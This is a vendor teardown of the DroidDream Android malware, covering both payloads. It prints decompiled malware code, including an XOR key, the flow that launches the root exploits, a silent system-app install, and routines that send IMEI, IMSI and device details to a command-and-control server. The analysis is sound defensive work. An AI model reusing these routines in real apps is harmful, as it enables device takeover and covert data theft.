Lookout Mobile Security Technical Tear Down - The Official Lookout ...

publicyardMobile - Wireless

Dec 10, 2013 (3 years and 9 months ago)

140 views

Lookout Mobile Security
Technical Tear Down



Threat Name

DroidDream, Payload One

& Two



Sample

used in the analysis


Payload One

Package:

com.droiddream.bowlingtime

MD5:


d4fa864eedcf47fb7119e6b5317a4ac8


Payload Two

Package:

com.android.provider.download

MD5:


ecc970647a187a710df723f5dbd567a0


The Threat

Multiple

applications available in the o
fficial Android Market were found to contain malware
which could compromise a significant amount of personal data. More than 50 applications
were
found to be infected with a new type of Android malware called DroidDream.

Similar to previous
instances of An
droid malware that have been found on alternative Android app markets, the
authors of DroidDream hid the malware in seemingly legitimate applications to trick
unsuspecting users into downloading the malware

a growing trend in mobile threats.


How it starts

The
malware activity
uses little obfuscation to hide itself. It comes in the form of a repackaged
legitimate
application, often a paid application. Within the application
,

the malware hides by
embedding

itself using the namespace
com.android.root
.


In the DroidDream samples we analyzed

(Bowling Time)
, the malware cannot start
automatically: it requires the user to manually run the infected application. Additionally,
it has
modified the
AndroidManifest.xml to launch itself prior to the
primary
app’s
a
ctivity.


<activity android:name="com.android.root.main">


<intent
-
filter>


<action android:name="android.intent.action.MAIN"></action>


<category android:name="android.intent.category.LAUNCHER"></category>


</intent
-
filter>

</activity>


Inside the
com.android.root.
main

activity we can see that the malware will start its own service

and then

launch the
host
application

s primary activity.


The service invoked is labeled as the
com.android.root
.

T
he

Setting

service will notify the
command and control server and attempt to root the device.
First the malware will
contact the
command and control server identifying the compromised
device
. The follow
ing

is a decrypted
request that is sent to the server:


<?xml ve
rsion=
"1.0"

encoding="
UTF
-
8"
?>

<Request>


<Protocol>1.0</Protocol>


<Command>0</Command>


<ClientInfo>


<Partner>502</Partner>


<ProductId>10011</ProductId>


<IMEI>3591160303XXXXX</IMEI>


<IMSI>3102605824XXXXX</IMSI>


<Modle>vision:9</Mod
le>


</ClientInfo>

</Request>


We can see here that it is exposing unique identifiers for the device
:

IMEI, IMSI and device
model and SDK version. The
Partner

and
ProductId

are both specific integers to the DroidDream

variant and do not change device to device. The following is a decrypted response from the
server:


<?xml version="
1.0"

encoding="
UTF
-
8"
?> <Reply>


<Protocol>1.0</Protocol>


<Command>0</Command>

</Reply>


Th
e above

response is parsed by the malware, sa
ving the response.

If the response is the same
as the above, then it will save the value to shared preferences as
pref_config_setting
-
> done

with a value of ‘1’. This value is checked on later attempts to check into the server. If
done

is set
to ‘1’ then the malware will not check
-
in, resulting in the application only performing one check
-
in.


The
crypto is a simple XOR with an embedded key, implemented in
com.android.root.adbRoot.crypto
. A quick pass at the dalvik code will result simi
lar code as
shown below:


public

static

void

decrypt
(
byte
[] bytes) {


KEY

=
"6^)(9
-
p35a%3#4S!4S0)$Yt%^&5(j.g^&o(*0)$Yv!#O@6GpG@=+3j.&6^)(0
-
=1"
.getBytes();


keylen

=

KEY
.
length
;


int

i = 0, position = 0;


while

(position <= bytes.
length
) {


int

m = bytes[position];


int

n =
KEY

[i];


bytes[position] = (
byte
) (m ^ n);


i += 1;


if

(i ==
keylen
)
{



i = 0;


}


position += 1;


}

}


We see this function being used to decrypt the URL which is stored in the byte array
u

in the
com.android.root.Setting

class. This is the command and control server which the malware will
be communicating with:


http://184.105.XXX.XX:8080/GMServer/GMServlet


The rest of the service
implements the infection cycle
.
It
checks

to see if the device is infected
already by
checking for the presence of

/system/bin/profile
. If the file does exist, it will not re
-
infect the device, otherwise it will continue the infection process.


Attempts to Root Device

Two attempts are made to root the device, both relying on exploits

developed
by
Sebastian

Krahmer. The first attempt use
s “exploid” to attempt to exploit a

vulnerability in udev event
handling in Android’s init. If
exploid
fails to do the job, DroidDream attempts to use
rageagainstthecage
, leveraging a vulnerability in adbd’s attempt to drop its
privileges
.

This is
highlighted by the code below;


// Does "/system/bin/profile" exist?


new
-
instance v2, Ljava/io/File;


const
-
string v4, "/system/bin/profile"


invoke
-
direct {v2, v4}, Ljava/io/File;
-
><init>(Ljava/lang/String;)V


.local v2, f:Ljava/io/File;


invoke
-
virtual {v2}, Ljava/io/File;
-
>exists()Z


move
-
result v4


if
-
eqz v4, :cond_2e

// If yes, then no need to root the device


invoke
-
direct {p0, v5}, Lcom/android/root/Setting;
-
>destroy(Z)V


:cond_2d


:goto_2d


return
-
void

// Else attempt exploid payload


:cond_2e


new
-
instance v3, Lcom/android/root/udevRoot;


iget
-
object v4, p0, Lcom/android/root/Setting;
-
>ctx:Landroid/content/Context;


invoke
-
direct {v3, v4}, Lcom/android/root/udevRoot;
-
><init>(Landroid/content
/Context;)V


.local v3, udev:Lcom/android/root/udevRoot;


invoke
-
virtual {v3}, Lcom/android/root/udevRoot;
-
>go4root()Z


move
-
result v4

// Did payload succeed?


if
-
eqz v4, :cond_3f

// If yes, then don't continue


invoke
-
direct {p0, v5}, Lcom/
android/root/Setting;
-
>destroy(Z)V


goto :goto_2d

// If not the attempt rageagainstthecage payload


:cond_3f


new
-
instance v0, Lcom/android/root/adbRoot;


iget
-
object v4, p0, Lcom/android/root/Setting;
-
>ctx:Landroid/content/Context;


iget
-
ob
ject v5, p0, Lcom/android/root/Setting;
-
>handler:Landroid/os/Handler;


invoke
-
direct {v0, v4, v5}, Lcom/android/root/adbRoot;
-
><init>(Landroid/content/Context;Landroid/os/Handler;)V


.local v0, adb:Lcom/android/root/adbRoot;


invoke
-
virtual {v0},
Lcom/android/root/adbRoot;
-
>go4root()Z


After both of the steps

above

have completed, the malware
checks to see if the package

com.android.providers.downloadsmanager

is installed
.
If this package is not found it will install
the second payload
, which

is

bundled as
sqlite.db
. This part of the malware

will be copied to the
/system/app/

directory
, installing itself as
DownloadProviderManager.apk
. Copying the file
using
this method,
to this directory will silently install the APK file, and
not

prompt the user to grant
permission.


.method private destroy(Z)V


if
-
eqz p1, :cond_15

// Check if package "com.android.providers.downloadsmanager" has already been installed


iget
-
object v0, p0, Lcom/android/root/Setting;
-
>ctx:Landroid/content/Cont
ext;


const
-
string v1, "com.android.providers.downloadsmanager"


invoke
-
static {v0, v1}, Lcom/android/root/Setting;
-
>isPackageInstalled(Landroid/content/Context;Ljava/lang/String;)Z


move
-
result v0


if
-
nez v0, :cond_15

// If it hasn't, then cop
y the payload to /system/app/ as "DownloadProvidersManager.apk"


iget
-
object v0, p0, Lcom/android/root/Setting;
-
>ctx:Landroid/content/Context;


const
-
string v1, "sqlite.db"


const
-
string v2, "DownloadProvidersManager.apk"


invoke
-
static {v0, v1
, v2}, Lcom/android/root/Setting;
-
>cpFile(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Z


:cond_15


invoke
-
virtual {p0}, Lcom/android/root/Setting;
-
>stopSelf()V


return
-
void

.end method


After the above steps have completed, this

payload is done. There is nothing else that the
payload has been designed to do


it only implements this one mode of infection then waits for
the second payload it installed, DownloadProviderManager.apk, to do the rest of the work. This
may have been a c
hoice implemented by the malware authors to keep the infection code
separate from the other commands, keeping the infection packages smaller.










DroidDream, Payload Two


Sample used in the analysis

Package:

com.android.provider.download

MD5:


ecc970647a187a710df723f5dbd567a0


On
c
e the second stage payload is delivered and
installed by the primary infector
, it sits and
waits silently to be activated. There is no icon on the application tray, and it cannot be found
by
other
user
-
managed
applications
on the file

system
since it is installed on the
/system

partition.
Unlike the previous stage, it
is not executed by the user, but triggered by

Intents
it
listens for on
the device.


As we see
in

AndroidManifest.xml
,
entry points consist of a receiver for
BOOT_COMPLETED and PHONE_STATE intents as well as a sin
gle service:


<application
android:label="com.android.providers.downloadsmanager">


<receiver android:name=".DownloadCompleteReceiver"
android:enabled="true">




<intent
-
filter>


<action
android:name="android.intent.action.BOOT_COMPLETED"></action>


<category
android:name="android.intent.category.DEFAULT"></category>



</intent
-
filter>



<intent
-
filter>


<action
android:name="android.intent.action.PHONE_STATE"></action>


<category
android:name="android.intent.category.DEFAULT"><
/category>



</intent
-
filter>


</receiver>


<service android:name=".DownloadManageService"></service>

</application>


When either
Intent

is fired
,
com.android.providers.downloadsmanager
.DownloadCompleteReceiver

starts
. The flow of

this
receiver is rather simple
. First,

i
t checks its internal SQLite database to determine if it’s already
performing a sync. If not, it proceeds if the current date is greater than or up to 5 days
preceding
the value of its “NextConnectTime” preference
.


If the
connect

time is within the functional range, it
launches its

internal service
, and if the
receiver

was
triggered by
DOWNLOAD_COMPLETED
, it pass
es

on the data from this intent to an
internal
handler
for processing
.




Relevant disassembled code from
DownloadCompleteReceiver.onReceive(Context context, Intent
intent)
:

// Main entry point for malware

# virtual methods

.method public
onReceive(Landroid/content/Context;Landroid/content/Intent;)V


.registers 8


const
-
class v4,
Lcom/android/providers/downloadsmanager/DownloadManageService;


iput
-
object p1, p0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;

// Get SQLite handler


new
-
instance v0, Lcom/android/providers/do
wnloadsmanager/b;


iget
-
object v1, p0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;


invoke
-
direct {v0, v1},
Lcom/android/providers/downloadsmanager/b;
-
><init>(Landroid/content/Context;)V


iget
-
object
v1, p0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;


invoke
-
static {v1}, Lcom/android/providers/downloadsmanager/e;
-
>a(Landroid/content/Context;)Lcom/android/providers/downloadsmana
ger/e;


move
-
result
-
ob
ject v1

// Get date (YYYYMMDD) in form of string


invoke
-
static {}, Ljava/util/Calendar;
-
>getInstance()Ljava/util/Calendar;


move
-
result
-
object v2


invoke
-
static {v2}, Lcom/android/providers/downloadsmanager/a;
-
>a(Ljava/util/Calendar;)Ljava/lang/String;


move
-
result
-
object v2

// Check a sync is in progress (synctime=0)


invoke
-
virtual {v1},
Lcom/android/providers/downloadsmanager/e;
-
>d()Z


move
-
result v1

// If a sync is in progress y, do nothing


if
-
nez v1, :cond_44

// Get "NextConnectTime" from shar
ed prefs, default is "20101102"


invoke
-
virtual {v0},
Lcom/android/providers/downloadsmanager/b;
-
>a()Ljava/lang/String;


move
-
result
-
object v1

// Compare to current date


invoke
-
virtual {v2, v1}, Ljava/lang/String;
-
>compareTo(Ljava/lang/String;)I


move
-
result v1

// If the date is after NextConnectTime, then continue


if
-
gez v1, :cond_44


new
-
instance v1, Ljava/lang/Integer;


invoke
-
direct {v1, v2}, Ljava/lang/Integer;
-
><init>(Ljava/lang/String;)V


new
-
instance v2, Ljava/lang/Integer;

// Get shared p
ref for NextConnectTime, again


invoke
-
virtual {v0},
Lcom/android/providers/downloadsmanager/b;
-
>a()Ljava/lang/String;


move
-
result
-
object v0

// Convert NextConnectTime to an int


invoke
-
direct {v2, v0}, Ljava/lang/Integer;
-
><init>(Ljava/lang/String;)V


invoke
-
virtual {v2}, Ljava/lang/Integer;
-
>intValue()I


move
-
result v0

// Convert our current date to an int


invoke
-
virtual {v1}, Ljava/lang/Integer;
-
>intValue()I


move
-
result v1

// Subtract current time from NextConnectTime


sub
-
int/2addr v0, v1

//
See if the difference is less than or equal to 5, if it isn’t
-

exit (5 day window)


const/4 v1, 0x5


if
-
le v0, v1, :cond_44


:cond_43


:goto_43


return
-
void

// NextConnectTime has passed, continue


:cond_44

// Get the actual intent that the receiver

was triggered on


invoke
-
virtual {p2}, Landroid/content/Intent;
-
>getAction()Ljava/lang/String;


move
-
result
-
object v0

// Compare to below intent


const
-
string v1, "android.intent.action.BOOT_COMPLETED"


invoke
-
virtual {v0, v1}, Ljava/lang/String;
-
>equ
als(Ljava/lang/Object;)Z


move
-
result v0


if
-
nez v0, :cond_5c

// Get the actual intent that the receiver was triggered on


invoke
-
virtual {p2}, Landroid/content/Intent;
-
>getAction()Ljava/lang/String;


move
-
result
-
object v0

// Compare to below intent


const
-
string v1, "android.intent.action.PHONE_STATE"


invoke
-
virtual {v0, v1}, Ljava/lang/String;
-
>equals(Ljava/lang/Object;)Z


move
-
result v0


if
-
eqz v0, :cond_6b

// If it was triggered by a BOOT or STATE change, then do the
below code, if not skip it


:cond_5c

// Fire up the internal service


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;


new
-
instance v1, Landroid/content/Intent;


iget
-
object v2, p0,
Lcom/android/providers/downloa
dsmanager/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;


const
-
class v3,
Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
direct {v1, v2, v4}, Landroid/content/Intent;
-
><init>(Landroid/content/Context;Ljava/lang/Class;)V


invoke
-
virtual {v0, v1}, Landroid/content/Context;
-
>startService(Landroid/content/Intent;)Landroid/content/Component
Name;


goto :goto_43


:cond_6b

// Get the actual intent that the receiver was triggered on


invoke
-
virtual {p2}, Landroid/content/Intent;
-
>getAction()Ljava/lang/String;


move
-
result
-
object v0

// Compare to below intent


const
-
string v1, "android.intent.action.DOWNLOAD_COMPLETED"


invoke
-
virtual {v0, v1}, Ljava/lang/String;
-
>equals(Ljava/lang/Object;)Z


move
-
result v0


if
-
eqz v0, :cond_
43

// Fire up the internal service


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;


new
-
instance v1, Landroid/content/Intent;


iget
-
object v2, p0,
Lcom/android/providers/downloadsmanage
r/DownloadCompleteReceiver;
-
>b:Landroid/content/Context;


const
-
class v3,
Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
direct {v1, v2, v4}, Landroid/content/Intent;
-
><init>(Landroid/content/Context;Ljava/lang/Class;)V


invoke
-
virtual {v0, v1}, Landroid/content/Context;
-
>startService(Landroid/content/Intent;)Landroid/content/Component
Name;

// Get the handler


sget
-
object v0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>a:Landroid/os/Handler;


if
-
eqz v0, :cond_43


sget
-
object v0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>a:Landroid/os/Handler;


const/4 v1, 0x1

// Get data from the DOWNLOAD_COMPLETE intent


invoke
-
virtual {p2}, Landroid/content/Intent;
-
>getData()Landroid/
net/Uri;


move
-
result
-
object v2


invoke
-
virtual {v0, v1, v2}, Landroid/os/Handler;
-
>obtainMessage(ILjava/lang/Object;)Landroid/os/Message;


move
-
result
-
object v0

// Send the data to the handler (object type c)


sget
-
object v1,
Lcom/android/providers/do
wnloadsmanager/DownloadCompleteReceiver;
-
>a:Landroid/os/Handler;


invoke
-
virtual {v1, v0}, Landroid/os/Handler;
-
>sendMessage(Landroid/os/Message;)Z


goto :goto_43

.end method


DownloadManageService

controls

a timer
-
scheduled

task, initialize
s

the SQLite tables and
manages the download handler.

It schedules the task

com.android.providers.downloadsmanager.d

to run for two hours at a time, with a delay of two
minutes between
executions
.

This is evident in the

onCreate()

method

of
DownloadManageSe
rvice

as shown below
:



// Where the time task is created

.method public onCreate()V


.registers 7


const/4 v5, 0x2


const/4 v4, 0x0


invoke
-
super {p0}, Landroid/app/Service;
-
>onCreate()V

// Get SQLite handler and save it


iput
-
object p0, p0,
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>c:Landroid/content/Context;


invoke
-
static {p0}, Lcom/android/providers/downloadsmanager/e;
-
>a(Landroid/content/Context;)Lcom/android/providers/downloadsmana
ger/e;


move
-
result
-
object v0


i
put
-
object v0, p0,
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>b:Lcom/android/providers/downloadsmanager/e;

// Save the handler


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>e:Landroid/os/Handler;


sput
-
object v0,
Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver;
-
>a:Landroid/os/Handler;

// Create a shared_preference manager object and save it


new
-
instance v0, Lcom/android/providers/downloadsmanager/b;


invoke
-
direct {v0, p0},
Lc
om/android/providers/downloadsmanager/b;
-
><init>(Landroid/content/Context;)V


iput
-
object v0, p0,
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>a:Lcom/android/providers/downloadsmanager/b;

// Create a new timer, with the task, setting th
e time to be


new
-
instance v0, Ljava/util/Timer;


invoke
-
direct {v0}, Ljava/util/Timer;
-
><init>()V


iget
-
object v1, p0,
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>f:Ljava/util/TimerTask;

// Returns 120000ms (delay of 2 minutes)


in
voke
-
static {v4, v5},
Lcom/android/providers/downloadsmanager/a;
-
>a(II)J


move
-
result
-
wide v2

// Returns 7200000ms (period of 2 hours)


invoke
-
static {v5, v4},
Lcom/android/providers/downloadsmanager/a;
-
>a(II)J


move
-
result
-
wide v4

// Schedule the timer

task


invoke
-
virtual/range {v0 .. v5}, Ljava/util/Timer;
-
>schedule(Ljava/util/TimerTask;JJ)V


return
-
void

.end method




DroidDream
-

The N
a
me

The malware

has been very aptly named “DreamDroid” both
for
the
structure of
package
nam
ing and constraints its author(s) placed on its execution.
We can see this in the first few
lines of

the scheduled

thread
:


// Get the current time (in for of hours)


invoke
-
static {}, Ljava/util/Calendar;
-
>getInstance()Ljava/util/Calendar;


move
-
result
-
object v0


invoke
-
virtual {v0}, Ljava/util/Calendar;
-
>getTime()Ljava/util/Date;


move
-
result
-
object v1


invoke
-
virtual {v1}, Ljava/util/Date;
-
>getHours()I


move
-
result v1

// Check if it's currently after 23:00 and before 08:00


const/16 v2, 0x17


if
-
gt v1, v2, :cond_1c


const/16 v2, 0x8


if
-
ge v1, v2, :cond_1d

// If the droid isn't dreaming, don't do anything evil, cause
nightmares later


:cond_1c


:goto_1c


return
-
void


The thread checks

the

database of
scheduled downloads
to
see if there are any
entries
that
have
not started or completed
. If downloads have

not been started, it will initiate them. If there are
stale or completed downloads, it will remove them
.
Downloading is accomplished by the
Android Download Provider

by passing a URI to
content://downloads/download
.
. Listening
for
the DOWNLOAD_COMPLETED Intent as described above, allows
the malware to be notified
when the download has completed.
More on this later.



:cond_1d

// Get DownloadManagerService synthetic member


iget
-
object v1, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;

// Get a proper instance of the SQLite database handler


invoke
-
static {v
1},
Lcom/android/providers/downloadsmanager/e;
-
>a(Landroid/content/Context;)Lcom/android/providers/downloadsmana
ger/e;


move
-
result
-
object v1

// Remove entries in the "apps" table that have a "synctime!=0"
(unfinished app syncs)


invoke
-
virtual {v1},
Lcom/android/providers/downloadsmanager/e;
-
>c()V

// Get a cursor from the "apps" table pointing to "packagenames"
that "download_finished= 0 AND startTime=0" (stale downloads)


invoke
-
virtual {v1},
Lcom/android/providers/downloa
dsmanager/e;
-
>a()Landroid/database/Cursor;


move
-
result
-
object v2

// If there are stale downloaded, then continue else goto cond_36


if
-
eqz v2, :cond_36


move v3, v11


:goto_2d

// Get the count of stale downloads


invoke
-
interface {v2}, Land
roid/database/Cursor;
-
>getCount()I


move
-
result v4

// If no stale downloads, close the cursor, else goto cond_18b


if
-
lt v3, v4, :cond_18b


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>close()V



// Downloads
initiator stub


:cond_18b

// Move the cursor to the first
app download


invoke
-
interface {v2, v3}, Landroid/database/Cursor;
-
>moveToPosition(I)Z


new
-
instance v4, Landroid/content/ContentValues;


invoke
-
direct {v4}, Landroid/content/ContentValues;
-
><init>()V

// Get the _id


const
-
string v5, "_id"


invoke
-
interface {v2, v5}, Landroid/database/Cursor;
-
>getColumnIndex(Ljava/lang/String;)I


move
-
result v5


invoke
-
interface {v2, v5}, Landroid/database/Cursor;
-
>getLong(I)J


move
-
result
-
wide v5

// Get the "try"
state


const
-
string v7, "try"


invoke
-
interface {v2, v7}, Landroid/database/Cursor;
-
>getColumnIndex(Ljava/lang/String;)I


move
-
result v7


invoke
-
interface {v2, v7}, Landroid/database/Cursor;
-
>getInt(I)I


move
-
result v7

// Check if the state
is less than of equal to three, which is
not download


const/4 v8, 0x3


if
-
lt v7, v8, :cond_1b7

// Remove the download

app if it has been download


iget
-
object v4, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsm
anager/DownloadManageService;


invoke
-
static {v4},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>b(Lcom/android/providers/downloadsmanager/DownloadManageService;
)Lcom/android/providers/downloadsmanager/e;


move
-
result
-
object v4


invoke
-
virtual {v4, v5, v6},
Lcom/android/providers/downloadsmanager/e;
-
>a(J)V

// Loop and continue to the next download in database


:cond_1b3


:goto_1b3


add
-
int/lit8 v3, v3, 0x1


goto/16 :goto_2d



// Start of downloading the apps


:cond_1b7

// Get the package name


const
-
string v10, "packageName"


invoke
-
interface {v2, v10}, Landroid/database/Cursor;
-
>getColumnIndex(Ljava/lang/String;)I


move
-
result v5


invoke
-
interface {v2, v5}, Landroid/database/Cursor;
-
>getString
(I)Ljava/lang/String;


move
-
result
-
object v5

// Save package name


invoke
-
virtual {v4, v10, v5},
Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Save current time as start time


const
-
string v5, "startTime"


invok
e
-
static {}, Ljava/lang/System;
-
>currentTimeMillis()J


move
-
result
-
wide v8


invoke
-
static {v8, v9}, Ljava/lang/Long;
-
>valueOf(J)Ljava/lang/Long;


move
-
result
-
object v6


invoke
-
virtual {v4, v5, v6}, Landroid/content/ContentValues;
-
>put(Ljava/lan
g/String;Ljava/lang/Long;)V

// Initialize the try as 1


const
-
string v5, "try"


add
-
int/lit8 v6, v7, 0x1


invoke
-
static {v6}, Ljava/lang/Integer;
-
>valueOf(I)Ljava/lang/Integer;


move
-
result
-
object v6


invoke
-
virtual {v4, v5, v6}, Landroid/co
ntent/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/Integer;)V

// Get and save the url


const
-
string v5, "url"


invoke
-
interface {v2, v5}, Landroid/database/Cursor;
-
>getColumnIndex(Ljava/lang/String;)I


move
-
result v5


invoke
-
interface {v2,
v5}, Landroid/database/Cursor;
-
>getString(I)Ljava/lang/String;


move
-
result
-
object v5


const
-
string v6, "packageName"


invoke
-
interface {v2, v10}, Landroid/database/Cursor;
-
>getColumnIndex(Ljava/lang/String;)I


move
-
result v6

// See if we need
to loop for another download


invoke
-
interface {v2, v6}, Landroid/database/Cursor;
-
>getString(I)Ljava/lang/String;


move
-
result
-
object v6


invoke
-
static {v5}, Landroid/text/TextUtils;
-
>isEmpty(Ljava/lang/CharSequence;)Z


move
-
result v7


if
-
n
ez v7, :cond_1b3


// If not


iget
-
object v7, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


new
-
instance v8, Ljava/lang/StringBuilder;


invoke
-
static {},
Lcom/android/providers/dow
nloadsmanager/DownloadManageService;
-
>a()Ljava/lang/String;


move
-
result
-
object v9


invoke
-
static {v9}, Ljava/lang/String;
-
>valueOf(Ljava/lang/Object;)Ljava/lang/String;


move
-
result
-
object v9


invoke
-
direct {v8, v9}, Ljava/lang/StringBuilder;
-
><init>(Ljava/lang/String;)V


invoke
-
virtual {v8, v6}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v6


invoke
-
virtual {v6}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
res
ult
-
object v6

// Inject the download into content://downloads/download


invoke
-
virtual {v7, v5, v6},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>a(Ljava/lang/String;Ljava/lang/String;)V


iget
-
object v5, p0,
Lcom/android/providers/
downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;

// Get SQLite handler


invoke
-
static {v5},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>b(Lcom/android/providers/downloadsmanager/DownloadManageServ
ice;
)Lcom/android/providers/downloadsmanager/e;


move
-
result
-
object v5

// Save content to "apps" sql table


invoke
-
virtual {v5, v4},
Lcom/android/providers/downloadsmanager/e;
-
>b(Landroid/content/ContentValues;)J

// Loop to next download


goto

:goto_1b3


The next block of code
gathers user and device information for transmission to the command
and control:




ProductID


Specific to the DroidDream variant



Partner


Specific to the DroidDream variant



IMSI



IMEI



Model & SDK value



Language



Country



U
serID


Though this does not appear to be fully implemented


After gathering
the
data, it attempt
s

to enumerate packages it has installed, but not yet
reported back to the server.

If there are any packages to report on,
it
builds and transmits a
“Command
2” payload with

the number of total packages
and

each individual package name

that has been installed by DroidDream
.



:cond_36

// Get current date that in string form, YYYYMM


invoke
-
static {v0},
Lcom/android/providers/downloadsmanager/a;
-
>
a(Ljava/util/Calendar;)Ljava/lang/String;


move
-
result
-
object v0

// Get a cursor from the "apps" table that have "synctime=0 AND
download_finished=1" Download has finished, but isn't synced


invoke
-
virtual {v1},
Lcom/android/providers/downloadsmanage
r/e;
-
>b()Landroid/database/Cursor;


move
-
result
-
object v2

// If there are any results, continue

with Command 2, otherwise
goto Command 1


if
-
eqz v2, :cond_108

// Get the count


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>getCount()I


move
-
result v3

// Skip over this code if the count is zero

and goto Command 1


if
-
lez v3, :cond_108

// Get information for reporting


new
-
instance v3, Landroid/content/ContentValues;


invoke
-
direct {v3}, Landroid/content/ContentValues;
-
><init>
()V

// ProductId = 10011


const
-
string v4, "ProductId"


invoke
-
static {}, Lcom/android/providers/downloadsmanager/a;
-
>b()Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virtual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put(Ljava/lang/Str
ing;Ljava/lang/String;)V

// Partner = 502


const
-
string v4, "Partner"


invoke
-
static {}, Lcom/android/providers/downloadsmanager/a;
-
>a()Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virtual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put
(Ljava/lang/String;Ljava/lang/String;)V

// Get devices IMSI


const
-
string v4, "IMSI"


iget
-
object v5, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
static {v5},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>a(Lcom/android/providers/downloadsmanager/DownloadManageService;
)Landroid/content/Context;


move
-
result
-
object v5


invoke
-
static {v5},
Lcom/android/providers/down
loadsmanager/a;
-
>b(Landroid/content/Context;)Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virtual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Get devices IMEI


const
-
string v4, "IMEI"


iget
-
object v4, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
static {v4},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>a(Lcom/android/providers/downloadsmanager/Do
wnloadManageService;
)Landroid/content/Context;


move
-
result
-
object v4


invoke
-
static {v4},
Lcom/android/providers/downloadsmanager/a;
-
>a(Landroid/content/Context;)Ljava/lang/String;


move
-
result
-
object v4


invoke
-
virtual {v3, v14, v4},
Landroid
/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Get Model:SDK_INT


const
-
string v4, "Model"


new
-
instance v5, Ljava/lang/StringBuilder;


sget
-
object v6, Landroid/os/Build;
-
>DEVICE:Ljava/lang/String;


invoke
-
static {v6}, L
java/lang/String;
-
>valueOf(Ljava/lang/Object;)Ljava/lang/String;


move
-
result
-
object v6


invoke
-
direct {v5, v6}, Ljava/lang/StringBuilder;
-
><init>(Ljava/lang/String;)V


const
-
string v6, ":"


invoke
-
virtual {v5, v6}, Ljava/lang/StringBuilder;
-
>a
ppend(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v5


sget v6, Landroid/os/Build$VERSION;
-
>SDK_INT:I


invoke
-
virtual {v5, v6}, Ljava/lang/StringBuilder;
-
>append(I)Ljava/lang/StringBuilder;


move
-
result
-
object v5


invoke
-
virtual {v5}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virtual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Get default language


const
-
string

v4, "Language"


invoke
-
static {}, Ljava/util/Locale;
-
>getDefault()Ljava/util/Locale;


move
-
result
-
object v5


invoke
-
virtual {v5}, Ljava/util/Locale;
-
>getLanguage()Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virtual {v3, v4, v5}, Landr
oid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Get default country


const
-
string v4, "Country"


invoke
-
static {}, Ljava/util/Locale;
-
>getDefault()Ljava/util/Locale;


move
-
result
-
object v4


invoke
-
virtual {v4}, Ljava/u
til/Locale;
-
>getCountry()Ljava/lang/String;


move
-
result
-
object v4


invoke
-
virtual {v3, v13, v4},
Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Get UserID from shared prefs "uid" as key (never appears to be
set)


c
onst
-
string v4, "UserId"


iget
-
object v5, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
static {v5},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>c(Lcom/and
roid/providers/downloadsmanager/DownloadManageService;
)Lcom/android/providers/downloadsmanager/b;


move
-
result
-
object v5


invoke
-
virtual {v5},
Lcom/android/providers/downloadsmanager/b;
-
>b()Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virt
ual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/String;)V

// Another check to see if the cursor exists


if
-
eqz v2, :cond_e0


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>getCount()I


move
-
result v4

// Make
sure there are results to use


if
-
lez v4, :cond_e0

